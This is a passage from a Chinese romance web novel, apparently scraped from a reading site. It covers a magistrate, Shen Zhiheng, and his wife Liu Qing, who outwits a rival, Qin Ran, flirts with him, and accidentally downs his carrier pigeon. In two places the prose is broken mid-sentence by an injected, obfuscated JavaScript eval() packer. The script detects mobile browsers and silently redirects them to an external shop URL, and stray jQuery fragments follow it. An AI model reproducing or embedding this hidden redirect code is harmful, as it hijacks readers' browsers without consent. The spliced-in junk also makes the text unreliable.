被她这一打趣，沈之衡心头的阴霾倒是散了几分。他故意顺着柳清的话说道：“是啊，我确实害怕，要不，你搬来和我一起睡？” 柳清先是一愣，随即脸颊飞起一抹红晕，将脸一扭：“谁要和你一起睡！想得美！” 沈之衡看她这幅罕见的娇俏模样，忍不住低笑出声。 此时下人来报：“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13583030|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，秦府小姐求见，说是听闻夫人受惊，特来探望。” 柳清在一旁听得满头雾水：“夫人？哪位夫人？我娘吗？” 沈之衡无奈地看了她一眼，这丫头，怕是忘了自己如今的身份。 柳清愣了愣才反应过来，夫人，可不就是她自己！ 这秦家丫头似是整日闲得慌，昨日分明已来过一次，今日怎的又来？ 柳清实在厌烦，不想见客，刚要推脱，便听沈之衡道：“你身子还没好，先去歇着吧，我去去就来。” 柳清一听，顿时不乐意了，什么身子不好，分明就是想支开她，自己去见那秦然！ 她越想越觉得有可能，心里酸溜溜的，便赌气说道：“我也要去，偏不休息！” 秦然走进厅堂，一眼便望见了并肩而立的沈之衡与柳清。 她微微一怔，旋即露出得体的笑，上前几步。 “沈大人，听闻嫂夫人受惊，特来探望。”秦然说着，将手中精致的木盒递向沈之衡，“这是千年灵芝，最是安神补气，还望夫人早日康复。” 沈之衡轻轻摆手，婉拒道：“秦姑娘有心了，只是内人并无大碍，不必如此客气。” 柳清站在一旁，看着秦然将本意送给自己的东西递给沈之衡，完全不搭理自己，心中颇觉怪异。 秦然与沈之衡寒暄几句，注意到沈之衡眉宇间的疲惫之色，不禁微微皱眉，转向柳清时，语气中多了几分责备：“嫂夫人，沈大人为官操劳，你更应尽到为人娘子的义务，好好照顾他的身体才是。” 柳清闻言，秀眉微蹙。这秦然，未免管得也太宽了些！ “我的家事，就不劳秦姑娘费心了。”柳清语气冷淡，毫不客气地回击。 秦然面色一僵，将头一转，带着几分委屈和娇嗔，向沈之衡抱怨：“沈大人你看，嫂夫人好像对我有敌意呢。” 她咬了咬唇，又状似无意地问：“对了，昨日我送来的那箱梨，怎么又叫人送回来了？莫不是……沈大人不爱吃梨？” 秦然说着，身子一侧，作势就要来挽沈之衡。 柳清眼疾手快，一把将沈之衡按进身后座椅中，自己则借力一转，闪身挡在了他身前。 她顺势挽住秦然的手臂，笑得一脸狰狞，“秦妹妹放心，我夫君身子金贵，我自会好生照顾的。” “夫君”二字一出，沈之衡如遭雷击，他有些不自在地动了动，却见柳清正笑盈盈地看着自己，顿觉这笑里藏刀，似要将他扎个对穿，慌得手脚都不知该怎么摆了。 柳清却并未在意他，又转向秦然，自顾自继续道：“至于那梨嘛，我夫君不爱吃，府里也没人爱吃，白白放坏了怪可惜的，还望秦妹妹不要见怪。” 说罢，她还俏皮地眨了眨眼，前后神情变化之快，令秦然叹为观止。 沈之衡从未见过柳清这般模样，一时间竟看得有些呆了。 他只觉喉咙发干，心跳如鼓，半晌才找回自己的声音，干巴巴应道：“娘子说得对，秦姑娘不必破费了。” 22. 第 22 章 柳清不由分说，拉着秦然便往外走。行至门槛边，还不忘将那灵芝盒子塞回秦然手中，笑道：“秦妹妹，今日多谢你来探望，我还要伺候夫君推拿解乏，就不远送了。” 秦然被她半推半攘送出门去，直至沈府大门在眼前关上，才反应过来，气得直跺脚。 柳清回身，见沈之衡还立在原地，没好气地白了他一眼：“还杵在这作甚？不用去县衙了？” 沈之衡故作不解，指向内室：“娘子不是说，要为我推拿解乏么？” 柳清闻言，登时闹了个大红脸，杏眼圆睁，羞恼道：“沈之衡！你还要不要脸了？想解乏，找你的秦姑娘去！” 说罢，便脚步飞快进了内室，“砰”地一声甩上房门。 沈之衡跟进内室，见她背对自己，似在赌气，便放缓了语气，问道：“你既不喜欢那秦家小姐，为何还要见她？” 柳清倏地转过身，语气不善：“怎么？打扰沈大人和佳人独处了？” “你这是何意？”沈之衡被她这阴阳怪气的话弄得一头雾水。 “我什么意思，沈大人心里清楚！”柳清心中怨念颇深，“那秦然分明对你有意，若不是我横插一脚，沈大人怕是早就……” “胡说八道！”沈之衡哭笑不得，“秦然不过是个孩子，况且……”他稍作停顿，口吻变得严肃起来，“我沈之衡心中只你一人，从未想过要娶旁人。” 他说着，便欺身上前，面上一副探究之色，“你今日这般作态，莫不是……醋了？” “谁……谁吃醋了！”柳清眼神闪躲，嘴硬道，“沈大人未免也太看得起自己了，又不是人人都要喜欢你。” 沈之衡见她这般口是心非，不禁莞尔，语调中多了几分戏谑：“哦？那柳娘子看上谁了？可莫要再说铁匠铺的张老爷了，我知道张铁牛只是你府上的侍卫。” 柳清被他一语道破，脸上顿时有些挂不住，心虚地侧过脸去，胡乱寻了个由头：“我……我喜欢唱戏好的！之前戏楼里有个小生，长得俊俏，嗓音还好听，可惜后来戏楼换了老板，也不知他去了哪里……” 戏楼确有不少年轻俊美的伶人，沈之衡在脑海中过了一遍城中戏班的名目。 即使心知他这夫人是在说谎糊弄他，但还是免不了有些担忧，便顺着她的话问道：“是吗，那戏子叫什么名字？” “叫……”柳清支支吾吾，她哪里知道那戏子叫什么，只记得是唱小生的。正打算随便编个名字出来，却猛然发现沈之衡正缓缓迈步靠过来，离自己极近。 他温热的鼻息拂过她耳畔，带着淡淡皂角香气，莫名有些撩人。 柳清呼吸一滞，心跳不受控制地加快几分，慌乱间想要拉开距离，双手抵在沈之衡胸膛，却被他一把扣住。 沈之衡见她羞怯模样，不再逼近，停下了脚步。两人之间不过咫尺，气息交缠，暧昧丛生。 他微微低头，视线停在某处，眼中笑意渐浓：“清儿，你我之间，何须说谎？耳朵都红成这样了，还说没有？” 他言罢，骨节分明的手指轻轻抚过柳清耳廓，似羽毛轻扫，却又激起一阵酥麻的电流，传遍四肢百骸。 柳清只觉脸颊滚烫，羞赧难当，慌乱间想要后退，却不想被桌脚绊了一下，惊呼一声，身形不稳，就要向后倒去。 沈之衡眼疾手快，长臂一伸，揽住她的腰，将人带进了自己怀中。 柳清惊魂未定，尚未回过神来，便觉自己已是被沈之衡紧紧拥入怀中。温热的男性气息将她团团包围，耳边是他沉稳有力的心跳声，搅得她思绪更加混乱。 下一瞬，柳清只觉脸颊似被轻轻触碰，柔软触感带着一丝凉意，转瞬即逝。 “啵”的一声轻响，在两人之间格外清晰。 他，他他他……他竟然亲了自己！ 柳清顿觉五雷轰顶，整个人僵直在那处，半分也动弹不得，只听得沈之衡低沉的声音钻入耳中：“你和那戏子，也这般亲近过？” “自、自然……”柳清咬着嘴唇，声音几不可闻。 沈之衡也不揭穿，只笑意更深了些：“那我和他，谁更让你脸红心跳？” 柳清嘴硬道：“当然是……当然是他……” 沈之衡看她心虚的模样，伸手托起她的下巴，强迫她与自己对视，语气霸道，却又不失温柔：“如今你我已结为夫妻，往后这令你羞赧之人，便只能是我了，那戏子，就莫要再想了罢。” 柳清脑子一片空白，只呆呆地盯着眼前人的唇，旋即脸颊被那人捏住，左右晃了晃，听得他说：“知道了吗？” 柳清呐呐地点了点头：“知……知道了。” “既如此，叫声夫君来听听？”沈之衡眼角眉梢皆是笑意，实则心中却紧张得很，他不知柳清是否会因此生气，背在身后的手心都沁出了汗。 柳清下意识张了张嘴，却在看清沈之衡那张欠揍的脸时，猛然回过神来。 居心叵测，险些着了他的道！ 她羞恼地瞪了他一眼，一把将人推出里间，掀起被子就往床上一滚，将自己裹成一个蚕蛹。 沈之衡被推了个踉跄，抬手摸了摸被珠帘砸到的鼻梁，仿佛还能感受到刚才那温香软玉的触感，只是这笑意，却渐渐淡了下去，染上几分苦涩。 腰间随步伐晃动的玉佩引得他垂眸看去，那是他从小带到大的贴身之物，也是他与柳清指腹为婚的见证。 他自小就知，柳清是自己命定的夫人。如果一切都能如预期般发展，等到柳清及笄之年，沈家便会风风光光地去柳家提亲，然后娶她过门，从此举案齐眉，白头偕老。 可人算不如天算，柳家突然被调往千里之外的清河县，两家从此断了联系。 惊闻柳伯父噩耗时，他已在京城做了三年史官，却因抵不过心中担忧，连夜上书陛下，自请前往清河县。 再次相见，往日的亲密早已荡然无存。他原想着慢慢与柳清相处，重拾昔日情谊，哪知柳清竟与私盐案纠缠不休。 他担心柳清安危，又见清河县中势力强大的秦暮对柳清多有接触，这才下定决心，加快了娶她进门的步伐。 只是他从未想过，这桩婚事，于她而言，究竟是枷锁，还是蜜糖？ 罢了，徐徐图之。 沈之衡再次回头看向里间床上的身影，心中暗忖，日后还得多加相处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589661|142958||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才行，把这几年断掉的日子补起来，让他的娘子能心甘情愿的对他叫出那句“夫君”。 沈之衡转身出了房间，柳清这边，听着那人远去的脚步，这才敢把头从被子里探出来。 她翻身下床，左想右想觉得自己不太对劲。她怎么一想到沈之衡，就心慌气短，方寸大乱？ 难不成……真喜欢上沈之衡了？ 柳清吓了一跳，直觉自己是昨夜吸了太多迷药，把脑子给熏坏了，才会生出这种荒唐的想法！ 思及此，她愤愤地拍了拍脸，决定化悲愤为力量，去偏院练练顶缸。 柳清自幼爱看江湖把式，再加上天生神力，自学起杂耍来可谓游刃有余。只见她将那巨大的水缸举过头顶，稳稳当当走了几步，一个转身，水缸又稳稳落在肩头。 而后，她将水缸一撇，开始练起喷火。一口火喷出，只觉不够壮观，便又含了一大口火油，“噗”的一声，一道火柱冲天而起。 恰在此时，一只鸽子从空中飞过，竟被这突如其来的火柱烧了个正着，扑腾着翅膀直直栽了下来。 柳清吓了一跳，忙上前查看，见那鸽子羽毛焦黑，奄奄一息，虽未丧命，却也飞不起来了。 柳清正自忖是将这鸽子养了，还是炖了下酒，忽而瞧见鸽子腿上似乎绑着什么物件。 她伸手取下，原是一卷被火燎了半截的纸筒，心中便猜到这应是只信鸽，只是不知送信人是哪家哪户，也不知信要送往何处。 想到驯养信鸽不易，柳清到底没忍心将这小生灵果腹，便将它移至窗台，寻思着待它伤愈，许还能寻得归途。 只是那信筒被烧毁大半，剩下的字句也无从解读，柳清也便未曾在意，随手丢在一旁。 沈之衡午后并未去衙门，于府中稍作休憩后，便在书房处理公务。只是他频频往窗外看的动作，引得了师爷关切：“大人可是在担忧什么？” 沈之衡收回目光，轻叹一声：“我自京城带来的信鸽，至今还未归巢。算算时日，已有半月有余了。” “许是路上迷了方向，大人不必太过担心。”师爷宽慰道。 “不应该。”沈之衡摇摇头，“那是传信署专门训练的信鸽，百两银子一只，轻易不会迷途。” 师爷：“若是大人有要事需传往京城，不如让信使跑一趟便是。” 沈之衡沉吟片刻，道：“此事暂且不急，再等等吧。” 他给京城传信，是想让父亲帮忙查查富商秦家。他初来清河县时便发现了，秦家在当地势力盘根错节，他担心柳清与秦暮走得太近会惹祸上身，这才想着让父亲帮忙查探一二，也好心中有数。 正想着，忽见窗外一小厮提着水桶飞奔而过，脸上还沾着黑灰，活像刚从灶台爬出来似的。 沈之衡心下一惊，忙出门询问：“出了何事如此慌张？” 小厮喘着粗气，答道：“回大人，偏院……偏院的黄瓜藤走水了，不过小的已经扑灭了，大人不必担心。” “走水？”沈之衡皱了皱眉，“好好的黄瓜藤，怎会无故起火？” 小厮回：“夫人……夫人在偏院玩儿喷火，不小心……点着了。”